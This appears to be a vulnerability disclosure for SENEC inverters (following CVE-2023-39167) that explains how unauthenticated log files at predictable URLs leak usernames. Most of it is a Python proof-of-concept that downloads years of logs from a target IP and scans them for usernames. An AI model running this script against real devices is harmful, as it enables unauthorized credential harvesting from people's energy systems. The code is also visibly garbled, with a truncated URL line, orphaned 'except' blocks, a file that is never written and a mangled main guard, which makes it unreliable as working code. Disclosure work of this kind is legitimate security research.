Vulnerability Details:
As already stated in CVE-2023-39167, no authentication is required to access log
information. Therefore, and due to the predictable URL scheme, it is possible
for an attacker to download all existing log files to obtain the username.
Proof of Concept (PoC):
The attack consists of the following steps:
1. parse the script using this PoC Code to obtail the username:
import argparse
import datetime
import os
import requests
def get_senec_logs(senec_ip, day_range, break_on_username):
start_date = datetime.datetime.today()
end_date = start_date - datetime.timedelta(days=day_range)
delta = datetime.timedelta(days=1)
while end_date < start_date:
senec_url = f"http://{senec_ip}/log/{start_date.strftime('%Y')}/" \
r = requests.get(senec_url)
print(f"HTTP Status Code {r.status_code}: {senec_url}")
if r.status_code != 200: break
if r.headers["Content-Length"] == "0": break
os.makedirs(os.path.dirname(senec_url.replace("http://", "")), exist_ok=True)
with open(senec_url.replace("http://", ""), "wb") as senec_log_file:
offset = r.content.find(bytes("username:", "utf-8"))
if offset != -1:
print(f"Username found in {senec_log_file.name} at offset {offset}")
if break_on_username: break
except requests.ConnectionError:
print("Failed to connect to SENEC.Inverter")
except Exception as e:
print(f"An unhandled exception occurred:\n{e}")
start_date -= delta
if name == 'main':
parser = argparse.ArgumentParser(description="Download SENEC.Inverter log files")
parser.add_argument("ip", type=str, help="IP address of the target SENEC.Inverter")
parser.add_argument("-b", "--break-on-username", action="store_true", default=False, required=False,
help="stop downloading once a username is found")
parser.add_argument("-d", "--day-range", type=int, action="store", default=365 * 20, required=False,
help="number of days to download log files in reverse order starting today")
args = parser.parse_args()
get_senec_logs(args.ip, args.day_range, args.break_on_username)
